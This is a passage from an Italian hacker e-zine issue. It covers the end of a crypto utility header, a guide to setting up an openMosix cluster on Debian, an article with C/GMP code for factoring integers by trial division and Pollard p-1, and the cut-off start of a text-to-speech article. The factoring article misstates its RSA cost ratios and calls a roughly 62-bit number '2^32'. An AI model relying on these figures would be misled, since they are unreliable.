VERSION "0.1" /* Miscellaneous functions */ int fexists(char *file); void help(char *name); /* RSA fucntions */ void* readpemkeys(int type, char *pemfile); /*RSA*/ void genkey(int size, char *secfile, char *pubfile);/*RSA*/ int rsa_encrypt(void *key, unsigned char *plain, int len, \ unsigned char **cipher);/*RSA*/ int rsa_decrypt(void *key, unsigned char *cipher, int len, \ unsigned char **plain);/*RSA*/ /* Block ciphers fucntions */ void bf_encrypt_decrypt(int mode, char *filein, \ char *fileout); /* BlowFish */ void des_encrypt_decrypt(int mode, char *filein, \ char *fileout); /* DES */ void idea_encrypt_decrypt(int mode, char *filein, \ char *fileout); /* IDEA */ /* Hash functions */ void md5cmp(char *file1, char *file2); /* MD5 */ void md5hash(char *filein); /* MD5 */ #include "rsa.c" #include "block_ciphers.c" #include "hash.c" #include "misc.c" -------------------end unisfed.h--------------------------------------- Ciao a tutti e alla prossima. Paolo Ardoino AKA binduck hu> ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x03][LiNUX] 0PENM0SiX - C0ME iNSTALLARL0 [DaVe & pinkf] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: -----[Le macchine]----- I computer a nostra disposizione sono tre Pentium a 133 Mhz, uno a 90 Mhz e un Pentium MMX a 200 Mhz, tutti con almeno 32 Mbyte di ram e 500MB di disco rigido. Infine un 486DX2 a 66 Mhz e' stato deputato a funzionare da gateway. Le macchine sono collegate tra loro tramite rete coassiale a 10 Mbit (10base2). -----[Installazione del nodo]----- Bisogna premettere che data la scarsa potenza delle macchine e la dimensione ridotta degli hard disk la scelta si e' ristretta necessariamente alle distribuzioni con un sistema di gestione di pacchetti precompilati integrato, scelta che e'caduta infine su Debian nella sua ultima incarnazione Woody (v. 3.0rc2). L'installazione di base occupa circa 70 MB ma comprende il potentissimo tool apt-get che gestisce l'immenso database di pacchetti disponibili e le relative dipendenze con pochi semplici comandi: apt-get install per installare un nuovo pacchetto o una serie di pacchetti, apt-get remove per rimuoverlo e apt-get upgrade per aggiornare automaticamente tutti i pacchetti alle ultime versioni disponibili in Debian (comprese le patch di sicurezza). Per avere tutti i dettagli sull'installazione la migliore soluzione consiste nel consultare gli ottimi how-to e guide all'installazione di www.debian.org, ma qualche cenno di maggior rilevanza per i nostri scopi sembra opportuno. Nel nostro caso quasi tutte le macchine disponevano di lettore cd-rom, ma solo una era in grado di avviarsi direttamente da cd; di conseguenza il primo passo verso l'installazione e'stato di preparare il bootdisk e il rootdisk previsti da Debian; visto il futuro impiego di un kernel 2.4.22 abbiamo optato per la serie di dischi bf-2.4 con kernel 2.4.18 nella versione modificata dagli sviluppatori di Debian. Quindi cominciamo con l'installazione vera e propria. Avviatosi l'installer di Debian, dopo il partizionamento del disco rigido (con la partizione di swap all'inizio del disco per migliorare le prestazioni in caso di swapping frequente) e il caricamento del modulo necessario al funzionamento della scheda di rete, c'e'solamente da lanciare l'installazione del sistema di base (install base system). Dopo l'impostazione della password di root e della creazione di almeno un utente normale, conviene rimuovere i pacchetti per il supporto dello standard pcmcia come suggerito da debian e soprattutto rimuovere il pacchetto del server smtp exim, inutile per i nostri scopi e possibile causa di falle di sicurezza. Infine non conviene usare i tool di gestione pacchetti di piu'alto livello come dselect e tasksel che tendono a installare piu'del necessario. Prima di procedere consiglio inoltre di seguire alcuni accorgimenti per migliorare le prestazioni e la sicurezza del sistema: disattivare tre o quattro delle sei console che Debian attiva di default (nel file /etc/inittab) e soprattutto chiudere tutti i servizi di rete raramente utili (time, discard, ...) che sono attivati al primo boot (nel file /etc/inetd.conf). Il nodo e'ora funzionante, ma mancano gli strumenti necessari per integrarlo nel cluster. Installiamo allora i seguenti pacchetti: ssh per la gestione remota del nodo gcc, make, libncurses5-dev, patch, bzip2 per applicare la patch openmosix ai sorgenti del kernel e compilarli Per fare tutto cio'basta digitare apt-get install ssh gcc make libncurses5-dev patch bzip2 e apt-get si occupera' di tutte le operazioni praticamente senza rendere necessario l'intervento dell'utente. In seguito si possono installare allo stesso modo anche lftp e less che possono risultare utili e anche ntpdate che permette di mantenere piu' o meno sincronizzati gli orologi dei nodi anche in caso di batterie cmos esaurite, cosa piuttosto comune nelle macchine di qualche anno fa. Posto che il nodo abbia accesso a internet si puo' aggiornare o addirittura installare direttamente i pacchetti da un mirror di Debian. La procedura e' semplice: apt-setup e'un comodo tool per la localizzazione dei siti mirror. Questo comando modifica il file /etc/apt/sources.list, che eventualmente si puo'modificare anche a mano. In modo trasparente all'utente apt-get non cerchera' piu' i pacchetti dal lettore cd-rom ma li cerchera' sui mirror ftp e http indicati. -----[Kernel & openMosix]----- Per far diventare il nostro sistema un nodo del cluster openmosix avremo bisogno dei sorgenti del kernel ufficiali prelevabili da ftp.kernel.org, dell'apposita patch e degli openmosix-tools entrambi disponibili sul sito del progetto openMosix e cioe' www.openmosix.org. Nel nostro caso abbiamo utilizzato il kernel in versione 2.4.22, la patch openmosix-2.4.22-1 e i tools versione 0.3.4 (per comodita' e chiarezza usero' negli esempi questi numeri di versione, ma la sostanza si puo' applicare anche alle versioni successive). Ora, posto che i sorgenti siano tutti compressi con bzip2, conviene spostarli tutti nella stessa directory (/usr/src va benissimo) e procedere nel modo seguente: decomprimere il file dei sorgenti di linux e estrarre il tarball: tar -xjvf linux-2.4.22.tar.bz2 copiare il file della patch o spostarlo nella directory linux-2.4.22 e creare un link simbolico alla directory in questo modo: ln -s linux-2.4.22 linux-openmosix Infine va applicata la patch con il comando: bzcat openmosix-2.4.22-1.tar.bz2 | patch -Np1 Ora si puo'configurare il kernel con il consueto make menuconfig o nel modo che si preferisce. Nel menu di configurazione del kernel comparira' se tutto e' stato fatto correttamente, un sottomenu openMosix. Per questa sezione i parametri corretti sono: openMosix process migration support Y Support clusters with a complex network topology N (perche' per il nostro esempio la topologia e' banale) Stricter security on openMosix ports Y Level of process-identity disclosure 3 openMosix File-System Y per le altre tre opzioni non ho molte notizie, ma leggendo un po' in giro ho visto che vanno bene tutte e tre su Y. Per la compilazione del resto kernel non c'e'alcuna raccomandazione specifica, se non quella generica di togliere tutto cio' che non e' necessario. Ricordatevi che per quanto riguarda la configurazione del sottosistema openMosix, le flag devono essere uguali per tutti i nodi. Invece il resto del kernel puo' essere configurato secondo le necessita' dei singoli nodi. Poi si puo'procedere con la solita procedura per la compilazione (circa 6 ore sul 486, 30 minuti sul P200) e per l'installazione del nuovo kernel. Una volta riavviato il sistema e verificato il funzionamento del kernel appena compilato, si e' pronti per gli ultimi passi. -----[openMosix-Tools: installazione e configurazione]----- Il tar.gz dei tools va decompresso e i sorgenti estratti dal tarball; l'installazione dei tools va fatta dopo aver riavviato il sistema con il nuovo kernel. Altrimenti l'installazione dara'un errore del tipo: this is non an OpenMosix system Per compilare i sorgenti dei tools bastano i tipici tre comandi: ./configure make make install non sono previste dipendenze particolari, tranne le ncurses gia' installate in precedenza. Per far partire il sistema openmosix all'avvio, si puo'alternativamente installare apt-get install openmosix oppure copiare lo script di avvio nella cartella /etc/init.d con cp /usr/src/openmosix-tools-xyz/scripts/openmosix /etc/init.d per poi linkarlo nel livello di init di nostra scelta (di solito init 3) per avviarlo in automatico ln -s /etc/init.d/S99openmosix /etc/init.d/openmosix L'ultimo sforzo consiste nel rimpiazzare il file /etc/openmosix.map di default con quello utilizzato dal resto del cluster (che riporta la mappatura numero nodo-ip anche del nodo stesso) oppure se questo e'il primo nodo crearne uno nuovo e riavviare il tutto con /etc/init.d/openmosix restart. Una piccola nota: prima di aggiungere un nuovo nodo al cluster e' conveniente aggiungerlo prima nel file openmosix.map di tutti gli altri nodi e solo alla fine attivarlo; se il nuovo nodo viene attivato prima che gli altri ne riconoscano l'esistenza, tutte le sue richieste verranno respinte come illegali, cosa che provochera' un flood di messaggi sulle console degli altri nodi e che le rendera' quasi inutilizzabili. Il file /etc/openmosix.map bisogna modificarlo come nell'esempio eguente: # MOSIX-# IP number-of-nodes # ============================ 1 192.168.1.1 1 2 192.168.1.2 1 3 192.168.1.3 1 ##nel caso che il prossimo nodo sia anch'esso un cluster ##si metta 5 indirizzocluster numerodinodi Per concludere questa parte si puo' dire che se e' stato correttamente scritto anche il file /etc/hosts con le corrispondenze nomemacchina-IP si puo' sostituire il nome macchina all'IP. Se tutto e' andato a buon fine, i file openmosix.map sono stati copiati su tutte le macchine, si puo'lanciare su ognuna il comando /etc/init.d/openmosix start Per controllare in ogni istante se la configurazione e' a posto si puo vedere con /etc/init.d/openmosix status o eventualmente chiudere le comunicazioni con /etc/init.d/openmosix stop. -----[openMosixFileSystem]----- Come avrete visto abbiamo configurato nel kernel il supporto a un file system di openmosix. In pratica e' una specia di nfs, molto piu' semplice, che condivide tutto il disco dei nodi. questo puo' servire al sistema per il passaggio di dati, ad esempio. Per settarlo bisogna aggiungere al file /etc/fstab la seguente linea mfs /mfs mfs odfsa=1 0 0 che provvedera' a montare il file system nella directory /mfs, che verra' automaticamente creata. E' interessante vederne il contenuto: ci sono le cartelle 1 2 3 ecc. che rappresentano i nodi. Possiamo percio' copiare dati da una macchina all'altra senza usare scp, sempre se abbiamo i permessi corretti. Inoltre ci sono alcune cartelle di servizio che possono essere utili per chi ha voglia di scrivere scripts specifici per OM. -----[openMosix-Tools: utilizzo]----- Una volta in funzione openMosix opera in modo trasparente per l'utente. I processi migrano tra le macchine senza richedere niente in run-time. Logicamente si puo' forzare il sistema a migrare un processo, ad accettare o no l'esecuzione processi di altri utenti eccetera. Gli openmosix tools che abbiamo installato provvedono a tutte queste necessita'. Il comando mosmon permette di visualizzare su terminale lo stato di carico di ogni nodo, usando un grafico a barre. Con il tasto h si possono vedere le opzioni di visualizzazione. Il comando mtop e' simile al noto top, ma ha in piu' l'indicazione di dove sta girando il nostro processo. Similmente fa mps che, avrete capito, e' la versione cluster di ps. Un altro comando utile e' migrate IDPROCESSO NUMERONODO che forza la migrazione del processo contrassegnato da IDPROCESSO nel nodo NUMERONODO. OpenMosix all'avvio controlla una serie di parametri della nostra macchina per classificarla all'interno del cluster. Per esempio, basandosi anche sui bogomips, determina la velocita' relativa tra le macchine. Se per esempio noi avessimo in cluster un nuovissimo Pentium%$ e un vecchio 386, probabilmente nessun processo migrera' dal computer piu' veloce a quello piu'lento. Noi possiamo vedere l'indice di velocita' letto da openMosix con mosctl getspeed e pareggiare le velocita' col comando mosctl setspeed NUMERO cosi' il sistema credera' di avere a disposizione due macchine uguali. Mosctl e' il comando totale per il tuning del sistema e devo rimandarvi al man mosctl per tutte le altre opzioni. Per chi ha anche installato X o Apache ci sono un paio di altri divertenti tools. Openmosixview e openmosixwebview possono essere scaricato dal sito web di OM e provvedono una interfaccia X o web per il controllo anche remoto del cluster. Purtroppo parlare anche di questi comodi pacchetti per adesso potrebbe essere scomodo e lungo. Permettono di controllare e anche di modificare i parametri del cluster anche da remoto. Voglio solo ricordare che per la versione X c'e'bisogno delle librerie qt, e per la versione web ci vuole apache (o altro web server) e mod_php compilato con le estensioni gd. -----[openMosixStressTest: installazione]----- Un modo per testare il cluster e' con il programma omtest, sempre sul sito web di OM. Il test esegue alcuni programmi e scripts che impegnano cpu e memoria molto intensamente. Uno dei programmi genera chiavi RSA e per questo richiede le librerie ssl da preinstallare. Inoltre usa molto il linguaggio perl, che dovrebbe essere compreso nell'installazione di base. Il file omtest.XYZ.tar.gz va unzippato in una cartella, di solito /usr/src/omtest con tar xzvf omtestXYZ.tar.gz /usr/src/omtest Spostandoci all'interno di omtest troviamo la cartella required; all'interno troviamo due cartelle che contengono alcuni moduli perl necessari per il test. In entrambe le cartelle diamo i comandi perl Makefile.PL make make install per installarli correttamente. Adesso nella cartella omtest possiamo lanciare il test con ./start_openMosix_test.sh -----[openMosixStressTest: alcune considerazioni]----- -----[sulle prestazioni del cluster]----- Il primo metodo per testare il cluster e' l'openMosix stress test del quale abbiamo visto l'installazione qualche riga piu' su. I risultati non sono stati molto confortanti in assoluto, visto che il cluster ha portato a termine il test in circa 10 ore quando 5 Athlon 800 lo completano in 40 minuti e tre Athlon 1300 in 20 minuti! (http://alumnes.eup.udl.es/~b4767512/07.openMosix/tfc_EUP_2003/). Durante l'esecuzione del test si puo' monitorare il carico sui nodi con i comandi visti prima: se il sistema funziona bene, su macchine omogenee avremo il carico ben bilanciato su tutti i nodi. Dopodiche' per far lavorare il cluster per un po' di tempo abbiamo installato sul nodo principale il noto software seti@home e abbiamo lanciato cinque suoi processi contemporaneamente con uno script. Il singolo tempo di calcolo di un'unita' seti e' di circa 57 ore (contro le circa 4 di un Athlon 800), ma qui il cluster ha fatto il suo dovere: a regime produceva in media circa 1.5 unita' di seti al giorno il che vuol dire ridurre la computazione della singola unita' a 16 ore, cioe' una riduzione del tempo di calcolo del 72%! Sul sito http://fattoria.ccni.it ci sono i link per vedere i risultati del calcolo. Da notare che non e' necessario installare i software di "lavoro" su tutti i nodi del cluster. In realta' i nodi del cluster potrebbero tranquillamente essere macchine diskless che fanno boot da una macchina principale. Quindi al sistema openmosix basta avere il kernel, la connessione di rete e poco altro. Per motivi tecnici (un salvavita malfunzionante) abbiamo dovuto spegnere le macchine del cluster e non abbiamo potuto eseguire ulteriori test, ad esempio per analizzare bene la scalabilta' del software che si puo' far girare sul cluster, ma ci ripromettiamo di farlo e di rendere noti i risultati appena saremo in grado di proseguire. -----[openMosix: un po' di teoria per concludere]----- Quando lanciamo un processo, o meglio piu' processi, viene riservata dal kernel un'area di memoria dedicata e privata per ogni processo. Quando un sistema e' sovraccaricato, OpenMosix non fa altro che prendere quest'area di memoria e spostarla tramite la rete su un nodo che e' piu' scarico. Sulla macchina nuova viene aggiornato lo scheduler dei processi aggiungendo il nuovo processo alla coda. Quindi non serve avere in esecuzione o in memoria di tutti i nodi il software che stiamo usando. Basta avere una macchina di "produzione" con tutto l'occorrente e il resto del cluster non deve avere niente di piu' del necessario. Voglio ricordare che openMosix gestisce correttamente solo processi concorrenti separati e non quelli a memoria condivisa. Cioe' se lancio due processi che lavorano sullo stesso input, questi non possono essere migrati indipendentemente, perche' condividono una risorsa, il file di input. Al contrario due processi che usano risorse separate possono migrare indipendentemente senza problemi. Per esempio openMosix non puo'aiutarvi a fare un encoding di una canzone in meta' tempo lanciando due istanze di bladeenc, per esempio, ma richiedera' meta' tempo codificarne due, perche' saranno migrati ed eseguiti su due processori. Il tempo di migrazione di un processo varia secondo l'hardware della macchina. Generalmente i processi migrano dopo un paio di secondi dal raggiungimento della soglia di carico sul nodo. Ma cio' significa che i processi che durano meno di un paio di secondi, ad esempio le compilazioni, anche se caricano il nodo oltre alla soglia, il processo non migra. Se prevedete di usare un cluster per velocizzare la compilazione bisogna rivolgersi a distcc. Questo in linea di massima, esistono sempre delle eccezioni. Consultate il sito di openMosix, ci sono varie spiegazioni su cio' che si puo' non si puo' fare. Speriamo di essere stati chiari Buon clustering! Martin it> & DaVe it> http://Fattoria.ccni.it ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x04][C0DiNG] FACT0RiNG LARGE iNTEGERS [binduck] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 0.0] - Intro 1.0] - Metodo classico 1.1] - Implementazione del metodo classico 1.2] - Alcuni risultati del metodo classico 2.0] - Metodo di Pollard p-1 2.1] - Implementazione del metodo di Pollard p-1 2.2] - Alcuni risultati del metodo Pollard p-1 3.0] - Conclusione 0.0] - Intro In questo articolo ci occuperemo dell'implementazione di un algoritmo utile alla fattorizzazione di interi molto grandi. L'interesse per questo particolare tipo di algoritmi e' indotto dal fatto che l'RSA basa la sua solidita' sulla difficolta' di fattorizzare numeri di grandi dimensioni. Prendiamo per come esempio una chiave RSA-512 [512 bits]: usando il GNFS [Generalized Number Field Sieve] sono stati impiegati 2 mesi su 300 PC 400 MHz con 64Mb di RAM [per un equivalente di 8000 MIPS-Year] per la parte del sieving, mentre sono stati impiegati 10 giorni su un Cray C90 per risolvere la matrice. Vediamo quanto tempo impiegheremmo con chiavi a 576, 1024, 2048 bits: [indichiamo con "t" il tempo impiegato per computare 2^512] LOG(2^576) / LOG(2^512) = 10.9 [tempo[2^576] = 10.9 * t] LOG(2^1024) / LOG(2^512) = 7 * 10^6 [tempo[2^1024] = t*7*10^6] LOG(2^2048) / LOG(2^512) = 9 * 10^15 [tempo[2^2048] = t*9*10^15] Come possiamo desumere da questi dati tentare di computare una chiave 2^2048 bits e' una follia per ora anche parallelizzando massicciamente, infatti anche supponendo di avere la disponibilita' di 10^6 computers il tempo richiesto per fattorizzare una chiave a 1028 bits sarebbe comunque di 9*10^9 volte il tempo richiesto da una chiave a 512 bits, quindi rimane comunque improponibile. In questo articolo presento due algoritmi: - il primo e' il metodo classico. - il secondo non e' certamente un algoritmo velocissimo [ovviamente e' molto piu' veloce del metodo classico; il primato della velocita' e' per ora detenuto dal NFS [Number Field Sieve o Crivello del campo numerico], e non e' certo un esempio molto complicato ma esprime facilmente il concetto di fattorizzazione di un intero con un metodo abbastanza veloce; fu inventato da Pollard [si chiama infatti Pollard p-1] ed e' anche utile a capire l'algoritmo sviluppato da H.W. Lenstra basato sulle Curve Ellittiche, che trattero' nel prossimo articolo su questo argomento. 1.0 ] - Metodo classico a]Sia N un numero intero >= 2 di cui si devono trovare i fattori primi. b]Sia sqrt la radice quadrata di N [ovviamente si prende solo la parte intera]. c]Si inizi a dividere N per ogni intero [k > 1] dispari <= sqrt. Se k|N [k divide N] => abbiamo trovato un fattore primo di N. Sia N = N / k [anche se il dominio e' Z posso effettuare la divisione dato che k != 0 ed k|N]. Si riparta dal punto b]. 1.1] - Implementazione del metodo classico Il programma necessita della libreria gmp. gcc cfmi.c -o cfmi -lgmp ----------------------------------------------------------------------- /********************************************************************** This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ************************************************************************ (c) 2003 by Paolo Ardoino ***********************************************************************/ #include #include #include #include #include int main(int argc, char *argv[]) { unsigned long long int tmpui = 0; mpz_t N, sqrt, tmp, ctr; struct timeval tm0, tm1; if (argc != 2) { fprintf(stderr, "CFMI - Classical Factorization Method \ Implementaion.\n"); fprintf(stderr, "Usage: %s \n", *argv); fprintf(stderr, "\t: integer to factorize.\n"); exit(EXIT_FAILURE); } else if (*(argv + 1)){ mpz_init_set_str(N, *(argv + 1), 10); if (mpz_cmp_ui(N, 1) <= 0) { fprintf(stderr, "Errot: Please insert N >= 2"); exit(EXIT_FAILURE); } gmp_printf("N = %Zd\n", N); mpz_init(tmp); gettimeofday(&tm0, NULL); /* Tries to compute m = N mod 2 */ /* if m == 0 => 2|N [2 is a factor of N] */ while (mpz_mod_ui(tmp, N, 2) == 0) { printf("Factor = 2\n"); mpz_div_ui(N, N, 2); } /* Checks if N == 1 */ if (mpz_cmp_ui(N, 1) == 0) { mpz_clear(tmp); mpz_clear(N); gettimeofday(&tm1, NULL); printf("Factorization has been completed in %ld seconds.\n",\ tm1.tv_sec - tm0.tv_sec); exit(EXIT_SUCCESS); } /* Checks if N is prime */ /* Uses a probility primality test that has */ /* probabity of failure == 0.25 ^ x [here x == 10] */ if (mpz_probab_prime_p(N, 10) > 0) { gmp_printf("Factor = %Zd\n", N); mpz_clear(tmp); mpz_clear(N); gettimeofday(&tm1, NULL); printf("Factorization has been completed in %ld seconds.\n",\ tm1.tv_sec - tm0.tv_sec); exit(EXIT_SUCCESS); } mpz_init(sqrt); mpz_init_set_ui(ctr, 3); /* sets ctr = 3 */ mpz_sqrt(sqrt, N); if (mpz_odd_p(sqrt) == 0) mpz_add_ui(sqrt, sqrt, 1); /* while ctr < sqrt(N) */ while (mpz_cmp(ctr, sqrt) < 0) { while (1) { mpz_mod(tmp, N, ctr); if (mpz_cmp_ui(tmp, 0) == 0) { gmp_printf("Factor = %Zd\n", ctr); mpz_div(N, N, ctr); mpz_sqrt(sqrt, N); if (mpz_odd_p(sqrt) == 0) mpz_add_ui(sqrt, sqrt, 1); } else break; } mpz_add_ui(ctr, ctr, 2); if (mpz_cmp_ui(N, 1) == 0) { mpz_clear(tmp); mpz_clear(N); mpz_clear(ctr); mpz_clear(sqrt); gettimeofday(&tm1, NULL); printf("Factorization has been completed in %ld seconds.\n",\ tm1.tv_sec - tm0.tv_sec); exit(EXIT_SUCCESS); } if (mpz_probab_prime_p(N, 10) > 0) { gmp_printf("Factor = %Zd\n", N); mpz_clear(tmp); mpz_clear(N); mpz_clear(ctr); mpz_clear(sqrt); gettimeofday(&tm1, NULL); printf("Factorization has been completed in %ld seconds.\n",\ tm1.tv_sec - tm0.tv_sec); exit(EXIT_SUCCESS); } } } return 0; } 1.2] - Alcuni risultati del metodo classico RESULTS OF SPMI - Classical Method Implementation for large integers factorization HARDWARE : CPU model name : AMD Athlon(TM) XP 2000+ CPU MHz : 1666.240 CPU cache size : 256 KB CPU bogomips : 3322.67 RAM MB : 512 MB RAM MHz : 266 MHz SOFTWARE : Operative System : Gentoo GNU/Linux [kernel v2.6.2] cfmi.c : my implementation of the classical method RESULTS : N[integer to factorize]: 3369738766071892021 [quite 2^32] Factor: 204518747 Factor: 16476429743 Factorization has been completed in 1115-1142 seconds. 2.0] - Metodo di Pollard p-1 a]Sia N un numero intero >= 2 di cui si devono trovare i fattori primi. b]Sia b un certo intero limitato. c]Sia k multiplo di tutti [o al massimo della maggior parte] degli interi <= b. Ad esempio si puo' considerare k = b!. d]Si scelga 2 <= a <= N - 2 [random] e]Si calcoli il Massimo Comun Divisore GCD(a^k - 1 (mod N), N) [Quindi si deve calcolare a^k - 1 in ZN e trovare il massimo comun divisore tra questo e N [si usi ad esempio l'algoritmo euclideo per calcolare il GCD]]. f]Se GCD == 1 allora si ritorni al punto d]; se GCD > 1 e se GCD e' un numero primo allora si e' trovato un fattore di N non banale. Vediamo, ora, l'algoritmo da un punto di vista piu' matematico: k e' multiplo di tutti gli interi <= b supponiamo che p sia un divisore primo di k tale che -1 sia prodotto di piccole potenze di primi, tutte minori di b. Quindi k e' multiplo anche di p-1, poiche' e' multiplo di tutte le potenze dei fattori primi di p-1. Per Fermat [a^(p-1) = 1 (mod p) con a e p primi tra loro] a^k = 1 (mod p); quindi p|GCD(a^k - 1, N);ne segue che a^k = 1 (mod N) rimane l'unica possibilita' di fallimento. Questo metodo presenta la sua debolezza quando, scelto un N molto grande, per ogni p|N si ha che p-1 ha fattori primi molto grandi. 2.1] - Implementazione del metodo di Pollard p-1 Il programma necessita della libreria gmp e della libreria matematica. gcc spmi.c -o spmi -lgmp -lm ----------------------------------------------------------------------- /********************************************************************** This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ************************************************************************ (c) 2003 by Paolo Ardoino ***********************************************************************/ #include #include #include #include #include #define MAX_B 1000L /* MAX b */ int main(int argc, char *argv[]) { float b = 0.; mpz_t N, a, GCD, tmp, k; struct timeval tm0, tm1; gmp_randstate_t state; printf("SPMI - Simple Pollard p-1 Method Implementaion.\n"); printf("(c) 2003 by Paolo Ardoino \n"); if (argc != 3) { fprintf(stderr, "Usage: %s \n", *argv); fprintf(stderr, "\t: integer to factorize.\n"); fprintf(stderr, "\t: small integer for computation of k.\n"); exit(EXIT_FAILURE); } else if (*(argv + 1) && *(argv + 2)){ mpz_init_set_str(N, *(argv + 1), 10); if (mpz_cmp_ui(N, 1) <= 0) { fprintf(stderr, "Errot: Please insert N >= 2"); exit(EXIT_FAILURE); } gmp_printf("N = %Zd\n", N); b = atof(*(argv + 2)); if (b > MAX_B) { printf("Warning: b too large. Setting to %ld\n", MAX_B); b = (float)MAX_B; } printf("b = %.0f\n", b); mpz_init(tmp); gettimeofday(&tm0, NULL); /* Tries to compute m = N mod 2 */ /* if m == 0 => 2|N [2 is a factor of N] */ while (mpz_mod_ui(tmp, N, 2) == 0) { printf("Factor = 2\n"); mpz_div_ui(N, N, 2); } /* Checks if N == 1 */ if (mpz_cmp_ui(N, 1) == 0) { mpz_clear(tmp); mpz_clear(N); gettimeofday(&tm1, NULL); printf("Factorization has been completed in %ld seconds.\n",\ tm1.tv_sec - tm0.tv_sec); exit(EXIT_SUCCESS); } /* Checks if N is prime */ /* Uses a probility primality test that has */ /* probabity of failure == 0.25 ^ x [here x == 10] */ if (mpz_probab_prime_p(N, 10) > 0) { gmp_printf("Factor = %Zd\n", N); mpz_clear(tmp); mpz_clear(N); gettimeofday(&tm1, NULL); printf("Factorization has been completed in %ld seconds.\n",\ tm1.tv_sec - tm0.tv_sec); exit(EXIT_SUCCESS); } mpz_init(a); mpz_init(GCD); mpz_sub_ui(tmp, N, 1); /* tmp = N - 1 */ mpz_init(k); mpz_fac_ui(k, b); /* k = b! */ gmp_printf("k = %Zd\n", k); gmp_randinit_default(state); while (1) { mpz_urandomm(a, state, tmp); /* 0 < a < N - 2 */ if (mpz_cmp_ui(a, 1) <= 0) mpz_set_ui(a, 2); mpz_powm(tmp, a, k, N); /* computes a^k (mod(N)) */ mpz_sub_ui(tmp, tmp, 1); /* a^k - 1 (mod(N)) */ mpz_abs(tmp, tmp); mpz_gcd(GCD, tmp, N); /* GCD(a^k - 1 (mod(N)), N) */ if (mpz_cmp_ui(GCD, 1) > 0) { /* GCD > 1 */ if (mpz_probab_prime_p(GCD, 10) > 0) { /* GCD is prime */ gmp_printf("Factor = %Zd\n", GCD); /* GCD is a factor of N */ mpz_div(N, N, GCD); } } if (mpz_cmp_ui(N, 1) == 0) { mpz_clear(a); mpz_clear(GCD); mpz_clear(tmp); mpz_clear(N); mpz_clear(k); gettimeofday(&tm1, NULL); printf("Factorization has been completed in %ld seconds.\n",\ tm1.tv_sec - tm0.tv_sec); exit(EXIT_SUCCESS); } if (mpz_probab_prime_p(N, 10) > 0) { gmp_printf("Factor = %Zd\n", N); mpz_clear(a); mpz_clear(GCD); mpz_clear(tmp); mpz_clear(N); mpz_clear(k); gettimeofday(&tm1, NULL); printf("Factorization has been completed in %ld seconds.\n",\ tm1.tv_sec - tm0.tv_sec); exit(EXIT_SUCCESS); } } } return 0; } ----------------------------------------------------------------------- 2.2] - Alcuni risultati del metodo Pollard p-1 RESULTS OF SPMI - Simple Pollard p-1 Method Implementation for large integers factorization HARDWARE : CPU model name : AMD Athlon(TM) XP 2000+ CPU MHz : 1666.240 CPU cache size : 256 KB CPU bogomips : 3322.67 RAM MB : 512 MB RAM MHz : 266 MHz SOFTWARE : Operative System : Gentoo GNU/Linux [kernel v2.6.2] spmi.c : my implementation of the Pollard p-1 Method RESULTS : N[integer to factorize]: 3369738766071892021 [quite 2^32] b = 10 Factor: 204518747 Factor: 16476429743 Factorization has been completed in 352-355 seconds. 3.0] - Conclusioni Abbiamo visto due esempi di algoritmi per fattorizzare un intero di grosse dimensioni[i risultati riportati si riferiscono alla fattorizzazione di un intero a 32 bits, quindi nel migliore dei casi in 352 secondi avremmo trovato i due fattori dell'intero che compone una chiave pubblica RSA]. Nota: voglio ricordare che queste sono semplici implementazioni a solo scopo di studio e possono essere ottimizzate con qualche controllo in piu' prima del'algoritmo vero e proprio, ad esempio un controllo se N e' una radice nesima perfetta. Il prossimo articolo su questo argomento presentera' un'implementazione dell'algoritmo di Lenstra basato sulle Curve Ellittiche. Paolo Ardoino AKA binduck hu> ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x05][C0DiNG] GRiLL0 PARLANTE [eazy] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 1. Preambolo 2. Introduzione 2.1 Analisi a runtime 2.2 Analisi del codice 3. Codice sorgente 1. Preambolo "[...] A queste ultime parole, Pinocchio salt su tutt'infuriato e preso sul banco un martello di legno lo scagli contro il Grillo-parlante. Forse non credeva nemmeno di colpirlo: ma disgraziatamente lo colse per l'appunto nel capo, tanto che il povero Grillo ebbe appena il fiato di fare cr -cr -cr , e poi rimase l stecchito e appiccicato alla parete" (tratto da "Le avventure di Pinocchio", C. Collodi) 2. Introduzione Niente paura in questo articolo non intendo parlarvi dell'antipatico Grillo-parlante reso famoso dal racconto di Collodi bens di un simpatico sintetizzatore text-to-speech. In cosa consiste questo programma? In linea di massima possiamo dire che un sintetizzatore text-to-speech altro non che un programma in grado di riprodurre vocalmente un testo scritto dall'utente. Tale sistema in grado di generare sempre nuove frasi concatenando tra loro diverse sillabe che apprende e memorizza in un proprio database man mano che lo si utilizza. Ma come funziona? Come prima cosa il programma richiedere all'utente di digitare una frase, successivamente procede a dividerla in sillabe, ogni sillaba trovata viene cercata all'interno del database. Nel caso in cui una o pi sillabe non siano ancora presenti nel database il programma richiede all'utente di pronunciarle al microfono in modo che possano essere memorizzate e aggiunte al database. Una volta che tutte le 